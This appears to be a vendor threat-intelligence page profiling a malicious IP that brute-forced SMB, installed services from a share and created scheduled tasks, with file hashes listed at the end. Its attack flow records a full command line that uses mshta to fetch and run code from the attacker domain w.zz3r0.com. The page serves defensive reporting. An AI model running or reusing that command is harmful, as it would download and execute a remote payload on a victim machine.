Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 118.99.178.211Malicious

IP Address: 118.99.178.211Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

DNS Query Access Share Service Creation Scheduled Task Creation Access Suspicious Domain SMB SMB Null Session Login Execute from Share Service Deletion Download File Service Stop Download and Execute Service Start File Operation By CMD SMB Share Connect Successful SMB Login CMD MSSQL

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

118.99.178.211

Domain

-

ISP

-

Country

Taiwan, Province of China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-10-16

Last seen in Akamai Guardicore Segmentation

2024-09-16

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

C:\TPdbqGdS.exe was downloaded

Download File

tpdbqgds.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\tpdbqgds.exe as a service named iKKm under service group None

Service Creation Service Start

C:\windows\temp\svchost.exe was downloaded

Download File

Service iKKm was stopped

Service Stop

C:\WINDOWS\Temp\tmp.vbs was downloaded 2 times

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

ampceyzf.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ampceyzf.exe as a service named LBwh under service group None

Service Creation Service Start

Service LBwh was stopped

Service Stop

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

Access Suspicious Domain DNS Query

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The file C:\WINDOWS\aTVY.exe was downloaded and executed

Download and Execute

The command line c:\windows\PPKsFk.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\aTVY.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to user inactivity

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 111d80a5967fb493540472924354c6fc30833a6cb5a880232cc24d315257179d

7475000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 250bb6f0474a206b56a179fe78f60fa2476e2df68aaa55c823d49e5bf071d450

8230451 bytes

C:\windows\temp\svchost.exe

SHA256: 3af89e6cff60fac42cc60791d9bcb2ff37aa5ac52151c2b06a77d14a8e2679ba

8230462 bytes

C:\AAmspoUd.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes